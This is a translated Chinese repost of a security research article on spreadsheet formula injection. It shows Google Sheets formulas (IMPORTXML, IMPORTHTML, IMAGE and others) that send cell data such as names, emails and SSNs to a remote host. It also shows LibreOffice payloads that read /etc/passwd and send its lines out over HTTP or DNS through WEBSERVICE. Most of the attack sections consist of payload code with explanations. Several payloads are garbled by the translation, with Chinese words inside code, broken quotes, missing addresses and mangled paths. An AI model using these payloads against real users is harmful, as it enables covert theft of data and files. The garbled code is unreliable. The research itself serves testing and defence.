當前位置:
首頁 > 新聞 > 通過公式注入從電子表格中提取數據(一)

通過公式注入從電子表格中提取數據(一)

由於最近有一個客戶端測試的機會,我才有機會利用帶外數據(out-of-band,OOB)的方法,從電子表格中提取數據。不過要注意的是,我本文中描述的方法,都是假設我對電子表格的內容有一定的控制許可權,雖然這些許可權非常有限的,但我還是有可能對完整的文檔或客戶端(目標)系統進行訪問。

為此,我粗略的了解了一下LibreOffice(是OpenOffice.org 辦公套件衍生版)和Google Sheets(一種數據透視表),並分別找到了一些PoC。不過,我特別關注基於非Windows的應用程序,這是因為Windows的應用程序已經被研究爛了,我不想重複研究。

在這篇文章中,我會向大家介紹了來自NotSoSecure團隊的Ajay(@ 9r4shar4j4y)和Balaji(@ iambalaji7)的研究。下面的PoC可能允許我使用相對簡單的內置功能來獲取潛在的敏感信息,甚至可以讀取各自客戶端系統上的文件內容。雖然目前還沒有出現這方面的攻擊案例,但我希望大家在看到我的文章後,可以了解一些潛在的攻擊途徑。

用OOB方法獲取Google Sheets的敏感數據

如果我希望獲取實時數據,基於雲的數據捕獲可能是最好的選擇。與基於客戶端的攻擊不同,利用雲端攻擊,能夠快速連續的在表單中填充數據並接收實時響應。

至於攻擊情景,可能會因攻擊者的獲取內容不同而有很大不同。如果黑客能夠創建或上傳CSV文件或類似文件到攻擊目標中,那麼他們成功攻擊的可能性就非常大。先讓我們來了解Google Sheets。

首先,我來介紹一些Google Sheets非常有趣的功能。

CONCATENATE:將字元串互相疊加:

= CONCATENATE(A2:E2)

IMPORTXML:從各種結構化的數據類型(包括XML,HTML,CSV,TSV以及RSS和ATOM XML Feed)導入數據:

= IMPORTXML(CONCAT(「http:// [remote IP:Port] /123.txt?v=」,CONCATENATE(A2:E2)),「// a / a10」)

IMPORTFEED:導入RSS或ATOM提要:

= IMPORTFEED(CONCAT(「http:// [remote IP:Port] // 123.txt?v =」,CONCATENATE(A2:E2)))

IMPORTHTML:從HTML頁面中的表或列表導入數據:

= IMPORTHTML(CONCAT(「http:// [remote IP:Port] /123.txt?v=」,CONCATENATE(A2:E2)),「table」,1)

IMPORTRANGE:從指定的電子表格導入一系列單元格。

= IMPORTRANGE(「https://docs.google.com/spreadsheets/d/[Sheet_Id]」,「sheet1!A2:E2」)

IMAGE:將圖像插入單元格。

= IMAGE(「https:// [遠程IP:埠] /images/srpr/logo3w.png」)

數據的提取過程

基於Google電子數據表功能的文檔,都有可能因為上述的這些有趣功能,而被黑客使用帶外數據方式進行攻擊。不過,提取數據的過程並不是一帆風順的。老實說,在第一次試驗中,我是失敗的。失敗的原因簡單來說,就是Google提供了創建表單和接收回復的功能,這樣以後用戶可以使用Google Sheets訪問。所以我試圖通過在每個Google表單的評論部分提交惡意公式來利用這個訪問許可權。但是,Google會對提交的響應進行了安全性檢查,並自動在公式前添加(")撇號,從而停止公式的執行。

吸取了第一次的教訓後,我在第二次的實驗中就取得了成功,Google Sheets還提供了一些功能,允許用戶向csv,tsv,xlsx等不同的文件格式中導入數據。而導入的數據不但可以使用新電子表格表示,也可以附加到現有工作表中。在本文的PoC中,我會將導入的數據附加到包含前一次響應的工作表中,以便我可以提取其他用戶提交的數據。幸運的是,Google沒有像在場第一次試驗中那樣執行相同的檢查。具體提取步驟如下:

1.我會首先創建了一個帶有有效載荷(公式)的惡意csv文件,該文件將連接A到D列的所有數據。然後,我使用這些詳細信息為要發起攻擊的伺服器生成帶外請求。

2.然後,我使用導入功能將csv文件導入Google Sheets,並將這些數據附加到現有工作表中。

3.一旦數據導入完成,我創建的有效載荷就會執行,並且我會在攻擊伺服器的HTTP伺服器上監聽到用戶的詳細信息,例如姓名,電子郵件和SSN數據。

希望這能給大家提供一個可以實現的代碼片段,考慮到這一點,我將繼續討論這個問題,但接下來,將以LibreOffice為例。

在Linux環境中讀取LibreOffice OS文件

本節重點介紹如何在Linux環境中利用CSV注入來竊取用戶表格中的數據,由於目前網上已有許多與使用Excel開發DDE有關的博客、PoC和類似的博客,所以,我就不介紹了。但很少有涉及Linux環境中的辦公應用程序研究的,這是可以理解的,因為Linux桌面的流行程度遠不如Windows,而且我知道,黑客的攻擊目標總是會瞄準使用最廣泛,也最賺錢的終端。

在本文中,我想著重介紹一些簡單的,但非常有趣的公式攻擊,它們可以在Linux目標上被廣泛使用。在進行測試時,我使用的是以下環境。

目前,有效載荷已在下列環境中成功測試過:

·Ubuntu 16.04 LTS和LibreOffice 5.1.6.2

·Ubuntu 18.04 LTS和LibreOffice 6.0.3.2

我首先嘗試通過使用本地訪問的公式來讀取敏感文件,LibreOffice提供使用「file」協議讀取文件。我創建了從本地/etc/passwd文件中檢索單行的初始PoC,詳細介紹如下。

有效載荷1:

="文件:///etc/passwd"#$passwd.A1

上述有效載荷代表的意思是:『file:///etc/passwd』#$passwd.A1——將從本地/etc/passwd文件讀取第一行。有趣的是,似乎還可以使用http://來代替file:///查詢遠程資源。

需要注意的是,在初始導入時,系統會提示用戶執行如下圖所示的操作,在本例中顯示的是/etc/group的輸出內容。

導入後,每當文檔重新打開時,都會提示用戶更新鏈接。

順便說一句,通過修改行引用(在本例中是A2),我可以從文件中讀取更多的條目。

雖然一切都很順利,但我還需要一種來查看來自遠程系統文件內容的方法,因為,我還不會在LibreOffice應用程序中查看這些已獲取的結果。

為此,我特意了解了一下WEBSERVICE函數。實質上,我可以使用此函數連接到我控制的遠程系統,然後向我們從本地/etc/passwd文件中提取的數據發送請求。顯然,這些文件不會存在於目標主機上,但GET請求將包含所有有用的信息,並且可以通過攻擊主機上的日誌或控制台輸出要訪問的文件。

根據我的這些設想,我找到了以下PoC。

有效載荷2:

= WEBSERVICE(CONCATENATE( 「HTTP:// :8080 /」,("文件:///etc/passwd"#$passwd.A1)))

上述有效載荷的解讀如下:

1.『file:///etc/passwd』#$passwd.A1——將從本地/etc/passwd文件中讀取第一行;

2.CONCATENATE(「http://:8080」,(『file:///etc/passwd』#$passwd.A1))——連接IP地址並輸出"file"

3.WEBSERVICE——將向攻擊目標的主機發給定的URI請求;

我的攻擊系統運行了Python的SimpleHTTPServer,所以當惡意文件在受害者系統上打開時,我的伺服器就會發出請求並接收他們。

同樣,我也創建了幾個有效載荷來讀取目標文件中的多行信息。如果空間不是問題,只需確保最後一個引用,即將#$passwd.A1設置為每行的增量,就可以通過在單個文檔中嵌入多行來輕鬆實現此任務。以下PoC將提取並發送目標文件/etc/passwd中的前30行。

但是,實現相同目標的更簡潔的方法是在單個公式中引用多行,如下所示。

在執行下面的有效有效載荷時,從/etc/passwd文件發送2行到攻擊伺服器。

有效載荷3:

= WEBSERVICE(CONCATENATE( 「HTTP:// :8080 /」,( "文件:///etc/passwd"#$passwd.A1)&CHAR(36)及(" 文件:/// etc / passwd中「#$ passwd.A2)))

上述有效載荷的解釋如下:

1.『file:///etc/passwd』#$passwd.AX——將從本地/etc/passwd文件中讀取第一行和第二行;

2.CONCATENATE(「http://:8080/」,(『file:///etc/passwd』#$passwd.A1)&CHAR(36)&(『file:///etc/passwd』#$passwd.A2))——將攻擊伺服器IP地址與/etc/2/passlines行中的第1行和第2行(文件中的第2行)的輸出連接起來,每個行都用$字元隔開;

3.WEBSERVICE - 將向我的攻擊目標主機發送給定的URI請求

查看攻擊主機,我可以在GET請求中看到/etc/passwd中的相應條目,在這個實例中由$字元(CHAR 36)分隔。

根據文件內容的不同,我可能會遇到長度的問題,此時特殊字元也可能在PoC中不起作用。

我會在下一個PoC中解決了這兩個問題,這個PoC中,既沒有強制性的DNS示例,也沒有完整的OOB數據盜取;。

有效有效載荷4

= WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL("文件:///etc/passwd"#$passwd.A19)),1,41), 「%」, 「 - 」)),「「))

上述有效載荷的解釋如下:

1.『file:///etc/passwd』#$passwd.A19——將從本地/etc/passwd文件中讀取第19行;

2.ENCODEURL(『file:///etc/passwd』#$passwd.A19)——對返回的數據進行URL編碼

3.MID((ENCODEURL(『file:///etc/passwd』#$passwd.A19)),1,41)——類似於子字元串,對第1個字元到第41個字元進行數據讀取,這是限制DNS主機名長度的一種非常方便的方法(FQDN上有254個字元限制,標籤上有63個字元,即子域)。

4.SUBSTITUTE(MID((ENCODEURL(『file:///etc/passwd』#$passwd.A19)),1,41),」%」,」-「)——用破折號替換%(URL中的特殊字元編碼),這樣就可以確保只使用有效的DNS字元;

5.CONCATENATE((SUBSTITUTE(MID((ENCODEURL(『file:///etc/passwd』#$passwd.A19)),1,41),」%」,」-「)),」.」) ——將文件的輸出(經過上述處理後)與FQDN(我對主機具有權威訪問權)域連接;

6.WEBSERVICE——將對這個不存在的DNS名稱發出請求,之後我就可以在我控制的權威DNS名稱伺服器上解析日誌或運行tcpdump等。

在發送此消息時,我可以通過我的伺服器上的tcpdump來查看FQDN的查詢結果,這包括來自/etc/passwd的第19行的編碼數據,該伺服器被配置為該域的權威伺服器,如下所示。

如果你恰好在使用、測試或修改一個提供上傳、下載、導入、導出CSV數據等的應用程序,那麼這篇文章或許能幫到你。


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

多目標的攻擊活動——Prowli的技術分析
LAZARUS向韓國安全智庫網站上植入ActiveX 0 day漏洞

TAG:嘶吼RoarTalk |